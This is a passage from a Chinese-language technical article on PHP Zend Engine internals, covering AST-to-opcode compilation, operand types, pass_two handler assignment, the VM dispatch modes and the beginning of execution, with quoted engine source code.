zend_oparray_context original_oparray_context;
zend_op_array *original_active_op_array = CG(active_op_array);

op_array = emalloc(sizeof(zend_op_array)); //内存分配
init_op_array(op_array, type, INITIAL_OP_ARRAY_SIZE);
CG(active_op_array) = op_array;

/* Use heap to not waste arena memory */
op_array->fn_flags |= ZEND_ACC_HEAP_RT_CACHE;
if (zend_ast_process) {
zend_ast_process(CG(ast));
}
zend_file_context_begin(&original_file_context);
zend_oparray_context_begin(&original_oparray_context);
zend_compile_top_stmt(CG(ast));
CG(zend_lineno) = last_lineno;
zend_emit_final_return(type == ZEND_USER_FUNCTION);
op_array->line_start = 1;
op_array->line_end = last_lineno;
pass_two(op_array);
zend_oparray_context_end(&original_oparray_context);
zend_file_context_end(&original_file_context);

CG(active_op_array) = original_active_op_array;
}

开始正常的流程的,给op_array 分配内存,初始化,让CG(active_op_array)指向当前的op_array,zend_ast_process是个扩展的hook点,如果你想要对抽象语法树做一些自定义的东西,比如我先前把ast输出,就可以在此处做文章。

最主要的还是来看看是如何遍历抽象语法节点一步一步来编译成opcode,进入zend_compile_top_stmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void zend_compile_top_stmt(zend_ast *ast) /* {{{ */
{
if (!ast) {
return;
}

if (ast->kind == ZEND_AST_STMT_LIST) {
zend_ast_list *list = zend_ast_get_list(ast);
uint32_t i;
for (i = 0; i < list->children; ++i) {
zend_compile_top_stmt(list->child[i]);
}
return;
}
...

判断节点如果为ZEND_AST_STMT_LIST,则再递归编译子节点,前面说过ZEND_AST_STMT_LIST是一种什么也不做的列表节点,主要就是起到连接的作用,整个抽象语法树的根节点也是这个类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (ast->kind == ZEND_AST_FUNC_DECL) {  //函数
CG(zend_lineno) = ast->lineno;
zend_compile_func_decl(NULL, ast, 1);
CG(zend_lineno) = ((zend_ast_decl *) ast)->end_lineno;
} else if (ast->kind == ZEND_AST_CLASS) { //类
CG(zend_lineno) = ast->lineno;
zend_compile_class_decl(ast, 1);
CG(zend_lineno) = ((zend_ast_decl *) ast)->end_lineno;
} else {
zend_compile_stmt(ast);
}
if (ast->kind != ZEND_AST_NAMESPACE && ast->kind != ZEND_AST_HALT_COMPILER) {
zend_verify_namespace();
}
...

三种处理方式,函数定义节点,类的定义节点,其他节点。这里我们先不深究函数和类的定义节点编译,先来看其他节点的编译。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void zend_compile_stmt(zend_ast *ast) /* {{{ */
{
if (!ast) {
return;
}

CG(zend_lineno) = ast->lineno;

if ((CG(compiler_options) & ZEND_COMPILE_EXTENDED_INFO) && !zend_is_unticked_stmt(ast)) {
zend_do_extended_info();
}
switch (ast->kind) {//类型选择
case ZEND_AST_STMT_LIST:
zend_compile_stmt_list(ast);
break;
case ZEND_AST_GLOBAL:
zend_compile_global_var(ast);
break;f
case ZEND_AST_STATIC:
zend_compile_static_var(ast);
break;
case ZEND_AST_UNSET:
zend_compile_unset(ast);
break;
case ZEND_AST_RETURN:
zend_compile_return(ast);
break;
case ZEND_AST_ECHO:
zend_compile_echo(ast);
...

再根据节点类型,再进行不同的编译方法,关于switch语句里面的选择项,可以看看去语法分析中top_statement结构里面包含的类型,在这里其实一一对应的。这里有很多编译分支,不能一一讲到,这里分析一下ZEND_AST_ECHO节点的编译。

1
2
3
4
5
6
7
8
9
10
11
void zend_compile_echo(zend_ast *ast) /* {{{ */
{
zend_op *opline;
zend_ast *expr_ast = ast->child[0];

znode expr_node;
zend_compile_expr(&expr_node, expr_ast);

opline = zend_emit_op(NULL, ZEND_ECHO, &expr_node, NULL);
opline->extended_value = 0;
}

再分析之前,先要熟悉echo的语法结构,心里要有个大概的echo结构的分支走向。

1
2
3
4
5
6
7
T_ECHO echo_expr_list ';' { $$ = $2}
echo_expr_list:
echo_expr_list ',' echo_expr { $$ = zend_ast_list_add($1, $3); }
| echo_expr { $$ = zend_ast_create_list(1, ZEND_AST_STMT_LIST, $1); }
echo_expr:
expr { $$ = zend_ast_create(ZEND_AST_ECHO, $1); }
;

比如echo 1 , 2 会在语法分析就会给它分开,分成T_ECHO 1T_ECHO 2都在同一个ZEND_AST_STMT_LIST同一个节点下,所以在编译处理echo语法的时候,echo后面都只有一个表达式。即需要去编译这个表达式成为ZEND_ECHO 的第一个操作数。这里需要说一下,znode 这个类型并不是opline里面定义操作数会用到的类型,只是在编译阶段会用到,最后被会转换到定义opline的zend_op结构中相对应操作数的字段。

再看一看编译表达式expr的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void zend_compile_expr(znode *result, zend_ast *ast) /* {{{ */
{
/* CG(zend_lineno) = ast->lineno; */
CG(zend_lineno) = zend_ast_get_lineno(ast);
switch (ast->kind) {
case ZEND_AST_ZVAL:
ZVAL_COPY(&result->u.constant, zend_ast_get_zval(ast));
result->op_type = IS_CONST;
return;
case ZEND_AST_ZNODE:
*result = *zend_ast_get_znode(ast);
return;
case ZEND_AST_VAR:
case ZEND_AST_DIM:
case ZEND_AST_PROP:
case ZEND_AST_STATIC_PROP:
case ZEND_AST_CALL:
case ZEND_AST_METHOD_CALL:
case ZEND_AST_STATIC_CALL:
zend_compile_var(result, ast, BP_VAR_R);
return;
case ZEND_AST_ASSIGN:
zend_compile_assign(result, ast);
return;
case ZEND_AST_ASSIGN_REF:
zend_compile_assign_ref(result, ast);

在通过遍历expr下的子节点最后会返回一个最终的expr,这个expr可能最终是个常量,也可能是经过复杂运算之后的临时变量。比如switch 第一个case 这里取的就是比如包含单引号包裹的字符串,整形,浮点型这些简单常量的zval_ast_zval节点,然后把常量对应的zval赋值给znode.u.constant,如何定义该操作数为常量类型。再来看一个比如expr是 $a //ZEND_AST_VAR这样php变量的编译过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void zend_compile_var(znode *result, zend_ast *ast, uint32_t type) /* {{{ */
{
CG(zend_lineno) = zend_ast_get_lineno(ast);
switch (ast->kind) {
case ZEND_AST_VAR:
zend_compile_simple_var(result, ast, type, 0);
return;
case ZEND_AST_DIM:
...
}

static void zend_compile_simple_var(znode *result, zend_ast *ast, uint32_t type, int delayed) /* {{{ */
{
if (is_this_fetch(ast)) {
zend_op *opline = zend_emit_op(result, ZEND_FETCH_THIS, NULL, NULL);
if ((type == BP_VAR_R) || (type == BP_VAR_IS)) {
opline->result_type = IS_TMP_VAR;
result->op_type = IS_TMP_VAR;
}
} else if (zend_try_compile_cv(result, ast) == FAILURE) {
zend_compile_simple_var_no_cv(result, ast, type, delayed);
}
}

is_this_fetch是用来判断是不是特殊变量this,这不是我们要走的分支,php的变量应该为CV变量。看第一个函数zend_try_compile_cv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static int zend_try_compile_cv(znode *result, zend_ast *ast) /* {{{ */
{
zend_ast *name_ast = ast->child[0];
if (name_ast->kind == ZEND_AST_ZVAL) {
zval *zv = zend_ast_get_zval(name_ast);
zend_string *name;

if (EXPECTED(Z_TYPE_P(zv) == IS_STRING)) {
name = zval_make_interned_string(zv);
} else {
name = zend_new_interned_string(zval_get_string_func(zv));
}

if (zend_is_auto_global(name)) {
return FAILURE;
}

result->op_type = IS_CV;
result->u.op.var = lookup_cv(CG(active_op_array), name);

判断是不是ZEND_AST_ZVAL节点,然后取节点中的CV变量名,判断是不是auto_global变量,如果是直接返回。接着进入CV变量的逻辑,操作类型指定为IS_CV。前面已经介绍过了操作数的值是按偏移量来存储的。CV变量名依次储存在zend_op_array中的vars数组中,lookup_cv的作用就是遍历vars数组,并根据该CV变量名出现在vars数组中的位置,计算返回偏移量。如果改CV变量名并不在vars中,就会添加到其中。vars数组中是不存在重复的CV变量名的。列如改CV变量名出现在var[0],则其偏移值地址为(sizeof(zend_execute_data)+15)/16*16+0*16,在这里为80,前面说了本文zend_execute_data大小为72。并通过zend_execute_data->last_var 记录CV变量的个数。所以在这里CV操作数的偏移地址按照80,96,112...来递增。

关于操作数类型的编译。上面讲了CV类型操作数的编译过程,同时还有CONST字面量类型,这里需要注意的是,这里CONST常量的存储并不是指像C语言那样在编译过程把源代码中的显式常量都存储在同一个常量段里。举个例子:

1
2
<?php
echo "hello"."maple";

在这里有的同学会认为这里op_array->last_literal == 3, echo语句里面"hello","maple",还包括在编译过程中会自动添加的opline RETURN 1中的这个1,其实我刚开始的时候也有这样的困惑。在这里你需要先想一想CONST类型的操作数个数是在哪增长的?

1
2
3
4
5
6
#define SET_NODE(target, src) do { \
target ## _type = (src)->op_type; \
if ((src)->op_type == IS_CONST) { \
target.constant = zend_add_literal(CG(active_op_array), &(src)->u.constant); \
}
...

在SET_NODE这个宏里判断操作数类型是不是CONST类型,与此同时决定是否将其添加到op_array->literals常量数组里面,其实这里就是将编译过程的中间量 znode内容转换到zend_op里面,然后将这条zend_op 添加到 op_array->opcodes数组里面。所以在这里你可以认为在最终确定形成一条opline的时候,才会去判断操作数是不是CONST类型,并将其添加到字面量数组。在这里其实只有2条opline,并没有一条用来连接字符串的opline。

1
2
ECHO    'hellomaple'
RETURN 1

在这里2个简单字符串的连接并没有再去编译一条opline,而是在编译过程直接调用相应的二进制处理函数,直接把连接好的字符串返回,和连接的字符串一样,+-*/|&^%<<>>**通过这些运算符的简单运算也是有相应的二进制处理函数。所以在这里其实是把连接之后"hellomaple"添加到了字面量数组。

还有TMP_VAR 和VAR类型操作数的编译,TMP_VAR操作数出现在比如,字符串连接,当然简单的字符串连接是没有中间变量的,比如'maple'.$a这样的情况下结果的返回值类型会被编译成TMP_VAR。TMP_VAR和VAR类型其实很容易弄混,这里其实好理解,TMP_VAR是在计算过程出现的临时变量。通常情况下带返回值的每一条opline的返回值类型都是VAR类型,返回值你可以决定用还是不用。比如函数调用的返回值类型,判断语句的返回值类型,简单的赋值语句的返回值类型都是VAR类型,VAR就是相当于隐式的php变量。在这里不用纠结所有情况下的操作数类型的判断,在具体的过程中你能判断即可。

还有关于VAR和TMP_VAR类型操作数的值和CV类型的操作数值一样都是偏移量,但是在这里前者两个类型的操作数的偏移不是地址偏移量,而是以此次出现的顺序递增作为偏移量,即0,1,2,3,4....这样的形式。下一个处理过程会把递增数值再转换成具体的内存偏移地址。聪明的你有想过为什么会这样做吗?是因为当CV变量,TMP_VAR,VAR都分配在zend_execute_data结果的末尾,有一个顺序所有CV变量在前依次分配,而后才是TMP_VAR,VAR这些变量,如果你在这一步就以具体地址偏移量作为除CV变量以外的值,这里会造成交叉。编译器不知道究竟有多少个CV变量,难道当出现一个CV变量就把已经存在的TMP_VAR,VAR这些变量依次往后移吗?这样做的效率太差,所以这一步只保存递增的数值,当初步完成编译整个抽象语法树之后,知道了到底有多少个CV变量,然后在最后一个CV变量的末尾依次分配。

在编译抽象语法树的过程中最主要的就是确定操作数和具体的处理函数。下面接着讲关于每一条opcode对应的处理函数。根据前面的目标,我们对整个指令集其实已经了解的差不多了,现在需要探究每一条指令集的解释过程即对应handler处理函数。这一过程在pass_two()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
ZEND_API int pass_two(zend_op_array *op_array)
{
...
if (CG(context).vars_size != op_array->last_var) {
op_array->vars = (zend_string**) erealloc(op_array->vars, sizeof(zend_string*)*op_array->last_var);
CG(context).vars_size = op_array->last_var;
} //这一步主要是用来在分配CV变量的变量名数组。

...
if (op_array->literals) {
memcpy(((char*)op_array->opcodes) + ZEND_MM_ALIGNED_SIZE_EX(sizeof(zend_op) * op_array->last, 16),
op_array->literals, sizeof(zval) * op_array->last_literal);
efree(op_array->literals);
op_array->literals = (zval*)(((char*)op_array->opcodes) + ZEND_MM_ALIGNED_SIZE_EX(sizeof(zend_op) * op_array->last, 16));
}//这一步用来分配存储字面量的数组

...
op_array->fn_flags |= ZEND_ACC_DONE_PASS_TWO; //标志此op_array已经经过pass_two处理了

...
opline = op_array->opcodes;
end = opline + op_array->last;
while (opline < end) { //遍历每一条opline,为其添加handler。
switch (opline->opcode) {
case ZEND_RECV_INIT:
{
zval *val = CT_CONSTANT(opline->op2);
if (Z_TYPE_P(val) == IS_CONSTANT_AST) {
uint32_t slot = ZEND_MM_ALIGNED_SIZE_EX(op_array->cache_size, 8);
Z_CACHE_SLOT_P(val) = slot;
op_array->cache_size += sizeof(zval);
}
}
break;
case ZEND_FAST_CALL:
opline->op1.opline_num = op_array->try_catch_array[opline->op1.num].finally_op;
ZEND_PASS_TWO_UPDATE_JMP_TARGET(op_array, opline, opline->op1);
break;
case ZEND_BRK:
case ZEND_CONT:
...
if (opline->op1_type == IS_CONST) {
ZEND_PASS_TWO_UPDATE_CONSTANT(op_array, opline, opline->op1);
} else if (opline->op1_type & (IS_VAR|IS_TMP_VAR)) {
opline->op1.var = (uint32_t)(zend_intptr_t)ZEND_CALL_VAR_NUM(NULL, op_array->last_var + opline->op1.var);
}//将操作数按照不同类型转换成内存的偏移地址。

前面我忘记说到CONST类型的操作数的值应该怎么确定,CONST类型的字面量会被储存到op_array->literals中,所以CONST类型的操作数的值为字面量数组中的下标。因为字面量的值不同于其他类型变量的值,并不是储存在zend_execute_data的结尾,在ZEND_PASS_TWO_UPDATE_CONSTANT这里两只转化方式,第一种是相对于当前opline的偏移地址:((char *)((op_array)->literals + (num)))-((char*)opline)),第二种是直接用 (opline->op).zv直接存储字面量zval变量地址。不同之处是前一种是64位系统的处理方式,而后一种是32为系统的处理方式。为什么可以用在64位系统上用相对寻址,这就需要去看看php内核里面内存的管理了。有兴趣的同学可以由此继续跟下去。

同样前面说到过的,这里用ZEND_CALL_VAR_NUM将TMP_VAR和VAR操作数的值也转换成内存地址的偏移量。接着具体看ZEND_VM_SET_OPCODE_HANDLER为opline添加handler的具体过程:

1
2
3
4
5
6
ZEND_API void ZEND_FASTCALL zend_vm_set_opcode_handler(zend_op* op)
{
zend_uchar opcode = zend_user_opcodes[op->opcode]; //opcode不变
...
op->handler = zend_vm_get_opcode_handler_ex(zend_spec_handlers[opcode], op);
}

zend_spec_handlers是一个用来保存单个opcode对应的起始handler在zend_opcode_handler的位置和该opcode可以接受的操作数的个数如下:

1
2
3
4
5
6
7
8
static const uint32_t specs[] = {
0,
1 | SPEC_RULE_OP1 | SPEC_RULE_OP2,
26 | SPEC_RULE_OP1 | SPEC_RULE_OP2,
51 | SPEC_RULE_OP1 | SPEC_RULE_OP2 | SPEC_RULE_COMMUTATIVE,
76 | SPEC_RULE_OP1 | SPEC_RULE_OP2,
101 | SPEC_RULE_OP1 | SPEC_RULE_OP2,
...

拿到可以接受操作数的个数和opcode对应的其实handler位置,计算出实际处理handler。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static const void* ZEND_FASTCALL zend_vm_get_opcode_handler_ex(uint32_t spec, const zend_op* op)
{
static const int zend_vm_decode[] = {
_UNUSED_CODE, /* 0 = IS_UNUSED */
_CONST_CODE, /* 1 = IS_CONST */
_TMP_CODE, /* 2 = IS_TMP_VAR */
_UNUSED_CODE, /* 3 */
_VAR_CODE, /* 4 = IS_VAR */
_UNUSED_CODE, /* 5 */
_UNUSED_CODE, /* 6 */
_UNUSED_CODE, /* 7 */
_CV_CODE /* 8 = IS_CV */
};
uint32_t offset = 0;
if (spec & SPEC_RULE_OP1) offset = offset * 5 + zend_vm_decode[op->op1_type];
if (spec & SPEC_RULE_OP2) offset = offset * 5 + zend_vm_decode[op->op2_type];

一个opcode对应的handler种类和它可以接受的操作数有关。操作数类型一共5种如上,最多一个opcode可能有两个操作数,每个操作数最多有5种类型,就出现25种不一样的形式的op1和op2 的对应关系。上述就是根据对应关系计算到handler偏移的方法,首先得根据操作数类型做一个映射把0->3, 1->0, 2->1, 4->2, 8->4。然后再根据操作数的个数,类型计算出实际处理函数的偏移量。

1
2
...
return zend_opcode_handlers[(spec & SPEC_START_MASK) + offset];

zend_opcode_handlers这个数组保存的并不是处理函数,而是标签。由此引出对应的handler的生成和调度问题。

0x05 Handler 的生成和调度

仔细想一想大概存在200种 不同类型的opcode,如果两个操作数的对应关系也按25算。那么一共应该有5000个handler。实际上没那多,但也是极其庞大的handler处理结构。ZendVM里面对于handler的处理全部定义在zend_vm_execute.h 中,这个文件其实是自动生成的,通过同级目录下的zend_vm_gen.php生成。庞大的handler分支,从生成到调度,这两个过程是分不开的。一种生成方法对应一种调度方法。生成handler的过程基本都一样,生成handler可以为内联,也可以以函数的形式来调用。为什么需要根据操作数类型把一个处理函数分成一个个只能接受指定类型的操作数的handler呢?为什么不直接写一个handler然后在里面判断操作数的类型不就行了?如果只通过一个opcode对应一个handler,那么必然要在这个handler里面对操作数类型进行判断。必然存在大量的if else这样的判断语句,判断语句本质上对应着地址的跳转,根据操作数类型就需要做大量的判断,可能就需要24次,这里就提到一个概念叫分支预测,虽然我们可以在写ifesle判断语句的时候,可以把经常出现的对应关系往前写,提高命中率,但是还是无法准确的预知操作数类型的对应关系。所以把一个处理函数分成多个处理函数,把这些处理函数的标志放在一张表里面,通过映射直接获取单个处理函数,相对于一次跳转到对应的处理函数上。在php_vm_gen.php生成使用调度方法一共有4种:

  • CALL
  • SWITCH
  • GOTO
  • HYBRID

CALL类型的调度方法是把单个handler封装成函数,进行调用:

1
2
3
4
5
6
7
8
9
10
11
12
ZEND_API void execute_ex(zend_execute_data *ex)
{
LOAD_OPLINE();
ZEND_VM_LOOP_INTERRUPT_CHECK();

while (1) {
int ret ;
ret = ((opcode_handler_t)OPLINE->handler)(ZEND_OPCODE_HANDLER_ARGS_PASSTHRU);

}
//zend_error_noreturn(E_CORE_ERROR, "Arrived at end of main loop which shouldn't happen");
}

这种情况下handler指向的是处理函数,这个处理的函数作用包括具体的处理过程和处理完成之后让当前的opline指向下一条。在这里说一下当前的execute_data 中opline的指向,在编译的时候进行了优化,将指定一个全局的寄存器变量去保存当前opline的地址,同样当前的execute_data也会用一个寄存器变量来保存。在不同的架构上可能使用的寄存器不同。

1
2
3
4
5
6
# elif defined(__GNUC__) && ZEND_GCC_VERSION >= 4008 && defined(__x86_64__)
# define ZEND_VM_FP_GLOBAL_REG "%r14"
# define ZEND_VM_IP_GLOBAL_REG "%r15"

register zend_execute_data* volatile execute_data __asm__(ZEND_VM_FP_GLOBAL_REG);
register const zend_op* volatile opline __asm__(ZEND_VM_IP_GLOBAL_REG);

本文上用r14来保存execute_data,用r15来保存当前的opline。所以在进行gdb调试的时候你并不能直接打印这两个值,你需要去引用一下这个两个寄存器上相对应的变量的地址。当使用全局的寄存器变量来保存execute_data的时候,在调用相应处理函数的时候,就不需要再传递。具体看ZEND_OPCODE_HANDLER_ARGS_PASSTHRU这个宏定义。在Call调用下可能存在调用handler处理函数可能不会立即返回,而是继续在该handler里面调用下一条opline的处理函数。

SWITCH 是最容易生成的一种调度方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ZEND_API void execute_ex(zend_execute_data *ex)
{
LOAD_OPLINE();
ZEND_VM_LOOP_INTERRUPT_CHECK();

while (1) {
zend_vm_continue:
dispatch_handler = OPLINE->handler;
zend_vm_dispatch:
switch((int)(uintptr_t)dispatch_handler){
case 0:
//处理过程
ZEND_VM_NEXT_OPCODE(); //opline ++ && goto zend_vm_contiune
case 1:
...
}

}
//zend_error_noreturn(E_CORE_ERROR, "Arrived at end of main loop which shouldn't happen");
}

处理过程内嵌在每一个case语句里面,opline中handler保存是case的节点信息,生成这种调用方式非常简单,只需要一个顺序的映射表就行。但是这里又用写了一次switch,switch语句的效率和多个分支的if语句效率基本是相当的,不利于分支预测,每次的switch都可能跳转到任意一个case节点上,而且至少都有上千的case的分支。

GOTO相当于把Call里面的handler都写成了内联的形式,且handler之间的切换用goto来完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ZEND_API void execute_ex(zend_execute_data *ex)
{
LOAD_OPLINE();
ZEND_VM_LOOP_INTERRUPT_CHECK();

while (1) {
goto *(void**)(OPLINE->handler);
{$spec_name}_LABEL: ZEND_VM_GUARD($spec_name);
{

}
{$spec_name}_LABEL: ZEND_VM_GUARD($spec_name);
{

}
...
}
//zend_error_noreturn(E_CORE_ERROR, "Arrived at end of main loop which shouldn't happen");
}

标签的地址是可以这样void *ptr = &&label; goto *ptr;用变量来表示。这样可以定义一个标签地址的数组作为映射表,opline->handler保存相应标签地址。在这里也不存在if这样的判断语句,从第一个goto开始到handler处理完成再进行goto,执行每一个goto位置都是不一样的,所以这里可以根据每一个goto进行单独的分支预测,可以把每次跳转范围减少到一个比较小的范围,提高了预测的精度。

HYBRID是7.2版本才出来的一种优化后的混合调用方式,是CALL和GOTO的结合。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
ZEND_API void execute_ex(zend_execute_data *ex)
{
LOAD_OPLINE();
ZEND_VM_LOOP_INTERRUPT_CHECK();

while (1) {
HYBRID_SWITCH() { //goto *(void**)(OPLINE->handler)
HYBRID_CASE(ZEND_JMP_SPEC):/*op ## _LABEL*/
VM_TRACE(ZEND_JMP_SPEC)
ZEND_JMP_SPEC_HANDLER(ZEND_OPCODE_HANDLER_ARGS_PASSTHRU);
HYBRID_BREAK();//goto *(void**)(OPLINE->handler)
HYBRID_CASE(ZEND_DO_ICALL_SPEC_RETVAL_UNUSED):/*op ## _LABEL*/
VM_TRACE(ZEND_DO_ICALL_SPEC_RETVAL_UNUSED)
ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER(ZEND_OPCODE_HANDLER_ARGS_PASSTHRU);
HYBRID_BREAK();//goto *(void**)(OPLINE->handler)
...
HYBRID_CASE(ZEND_RETURN_SPEC_CONST):
VM_TRACE(ZEND_RETURN_SPEC_CONST)
{
USE_OPLINE
zval *retval_ptr;
zval *return_value;
zend_free_op free_op1;

retval_ptr = RT_CONSTANT(opline, opline->op1);
return_value = EX(return_value);
if (IS_CONST == IS_CV && UNEXPECTED(Z_TYPE_INFO_P(retval_ptr) == IS_UNDEF)) {
....
goto zend_leave_helper_SPEC_LABEL;
}
}
//zend_error_noreturn(E_CORE_ERROR, "Arrived at end of main loop which shouldn't happen");
}

你看到的是在分支的选择上用的goto,handler的表现形式是有函数调用也有内联,如果把所有的函数调用都换成内联的形式,其实就是goto的调用方法。在HYBRID这个模式里面如果你看到handler定义为ZEND_VM_HOT,其实就是内联函数体。

以上四种生成不同VM模式,既然是用zend_vm_gen.php生成的VM,如果我们想要添加新的handler就需要去zend_vm_def.h 定义新handler,现在来看一看定义新handler的格式,如下为echo的handler定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ZEND_VM_HANDLER(40, ZEND_ECHO, CONST|TMPVAR|CV, ANY)
{
USE_OPLINE
zend_free_op free_op1;
zval *z;
SAVE_OPLINE();
z = GET_OP1_ZVAL_PTR_UNDEF(BP_VAR_R);
if (Z_TYPE_P(z) == IS_STRING) {
zend_string *str = Z_STR_P(z);
if (ZSTR_LEN(str) != 0) {
zend_write(ZSTR_VAL(str), ZSTR_LEN(str));
}
} else {
zend_string *str = zval_get_string_func(z);
if (ZSTR_LEN(str) != 0) {
zend_write(ZSTR_VAL(str), ZSTR_LEN(str));
} else if (OP1_TYPE == IS_CV && UNEXPECTED(Z_TYPE_P(z) == IS_UNDEF)) {
GET_OP1_UNDEF_CV(z, BP_VAR_R);
}
zend_string_release_ex(str, 0);
}
FREE_OP1();
ZEND_VM_NEXT_OPCODE_CHECK_EXCEPTION();
}

标志的handler定义需要使用ZEND_VM_HANDLER作为起始,括号里面的参数分别为,opcode整数值,opcode常量,操作数1类型,操作数2类型,可能还存在一个参数为分割的flag参数。有时候会在操作数类型里面看到其他不一样的操作数类型,比如NEXT,ANY,THIS等等,其实这些并不是操作数类型,相当于flag额外的属性,并不参加操作数1和操作数2的笛卡尔集的对应关系。

handler定义里面还有类似GET_OP1_ZVAL_PTR_UNDEF这样的取值标记,在这里我们不用考虑不同操作数的取值方法,zend_vm_gen.php在内部做了映射,会根据不同的操作数类型替换这样的标记,如下:

1
2
3
4
5
6
7
8
9
10
$op1_get_zval_ptr_undef = array(
"ANY" => "get_zval_ptr_undef(opline->op1_type, opline->op1, &free_op1, \\1)",
"TMP" => "_get_zval_ptr_tmp(opline->op1.var, &free_op1 EXECUTE_DATA_CC)",
"VAR" => "_get_zval_ptr_var(opline->op1.var, &free_op1 EXECUTE_DATA_CC)",
"CONST" => "RT_CONSTANT(opline, opline->op1)",
"UNUSED" => "NULL",
"CV" => "EX_VAR(opline->op1.var)",
"TMPVAR" => "_get_zval_ptr_var(opline->op1.var, &free_op1 EXECUTE_DATA_CC)",
"TMPVARCV" => "EX_VAR(opline->op1.var)",
);

如果想看更多定义的替换规则,可以去看zend_vm_gen.php文件里面靠前的位置。可能有时候会看见类型下面的判断语句

1
2
3
4
5
6
7
8
9
10
11
if (IS_CV == IS_VAR && UNEXPECTED(Z_ISERROR_P(variable_ptr))) {
if (UNEXPECTED(0)) {
ZVAL_NULL(EX_VAR(opline->result.var));
}
} else {
value = zend_assign_to_variable(variable_ptr, value, IS_CONST);
if (UNEXPECTED(0)) {
ZVAL_COPY(EX_VAR(opline->result.var), value);
}
/* zend_assign_to_variable() always takes care of op2, never free it! */
}

IS_CV==IS_VAR这种奇怪的条件,这是因为zend_vm_gen.php在生成handler的时候是直接替换的操作数类型。 if (OP1_TYPE == IS_VAR && UNEXPECTED(Z_ISERROR_P(variable_ptr))) {,就造成了这种情况,是无用的判断条件,在编译的时候编译器会自行优化掉这些判断条件,所以并不造成影响。

VM的生成到调用,需要掌握的是怎样是去定义或者修改正确的handler,让zend_vm_gen.php能正常的处理,指定相应的调度方式,最终生成zend_vm_execute.h。这过程需要自己去实践才能明白一条可用的handler是怎样生成的。

终于handler的分配到这里也结束了,在pass_two结束遍历所有的oplines,前面整个编译过程就结束了,接下来就是进入执行过程。整个VM的执行过程都是zend_vm_execute.h生成的,通过填充zend_vm_execute.skl里面相关函数,生成完整的zend_execute(),execute_ex()

0x06 执行过程

进入zend_execute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ZEND_API void zend_execute(zend_op_array *op_array, zval *return_value)
{
zend_execute_data *execute_data;

if (EG(exception) != NULL) {
return;
}

execute_data = zend_vm_stack_push_call_frame(ZEND_CALL_TOP_CODE | ZEND_CALL_HAS_SYMBOL_TABLE,
(zend_function*)op_array, 0, zend_get_called_scope(EG(current_execute_data)), zend_get_this_object(EG(current_execute_data)));//初始化execute_data,在vm栈上分配execute_data的大小
if (EG(current_execute_data)) {
execute_data->symbol_table = zend_rebuild_symbol_table(); //设置符号表
} else {
execute_data->symbol_table = &EG(symbol_table);
}
EX(prev_execute_data) = EG(current_execute_data);//保存的execute_data 上下的调用关系
i_init_code_execute_data(execute_data, op_array, return_value);
zend_execute_ex(execute_data);//执行
zend_vm_stack_free_call_frame(execute_data);
}

execute_data相当于处理当前op_array的context上下文,当前context里面的CV变量,临时变量均分配在execute_data结尾。

zend_execute_ex = execute_ex;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ZEND_API void execute_ex(zend_execute_data *ex)
{
DCL_OPLINE

#ifdef ZEND_VM_IP_GLOBAL_REG
const zend_op *orig_opline = opline;
#endif
#ifdef ZEND_VM_FP_GLOBAL_REG
zend_execute_data *orig_execute_data = execute_data;
execute_data = ex;
#else
zend_execute_data *execute_data = ex;
#endif
LOAD_OPLINE(); // opline = EX(opline)
ZEND_VM_LOOP_INTERRUPT_CHECK();
while(1){
//遍历oplines,顺序处理
}

这里具体的调用handler的过程上面已经将的差不多了,这里看看返回的过程,返回的标志是RETURN,相应的handler会根据操作数1的不同类型将返回值zval赋值给EX(return_value),最后会跳转到下面的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
zend_leave_helper_SPEC_LABEL:
zend_execute_data *old_execute_data;
uint32_t call_info = EX_CALL_INFO();
if (EXPECTED((call_info & (ZEND_CALL_CODE|ZEND_CALL_TOP|ZEND_CALL_HAS_SYMBOL_TABLE|ZEND_CALL_FREE_EXTRA_ARGS|ZEND_CALL_ALLOCATED)) == 0)) {
...
}else if(EXPECTED((call_info & (ZEND_CALL_CODE|ZEND_CALL_TOP)) == 0)) {
...
}else if (EXPECTED((call_info & ZEND_CALL_TOP) == 0)) {
..
}else {
if (EXPECTED((call_info & ZEND_CALL_CODE) == 0)) {
...
}else{
zend_array *symbol_table = EX(symbol_table);
zend_detach_symbol_table(execute_data);
old_execute_data = EX(prev_execute_data);
while (old_execute_data) {
if (old_execute_data->func && (ZEND_CALL_INFO(old_execute_data) & ZEND_CALL_HAS_SYMBOL_TABLE)) {
if (old_execute_data->symbol_table == symbol_table) {
zend_attach_symbol_table(old_execute_data);
}
break;
}
old_execute_data = old_execute_data->prev_execute_data;
}
EG(current_execute_data) = EX(prev_execute_data);
ZEND_VM_RETURN();
}

这里通过判断调用者的信息决定如何返回。调用者信息有下面几种,除了开始"main" op_array的execute_data调用,其他几种都是涉及到切换execute_data,切换的时候会创建新的execute_data。最后分支是main execute_data的返回,其中zend_detach_symbol_table是清理execute_data末尾的CV和临时变量。

1
2
3
4
5
6
typedef enum _zend_call_kind {
ZEND_CALL_NESTED_FUNCTION, /* stackless VM call to function 自定义php函数 即用户代码*/
ZEND_CALL_NESTED_CODE, /* stackless VM call to include/require/eval 文件包含 */
ZEND_CALL_TOP_FUNCTION, /* direct VM call to function from external C code 内置函数*/
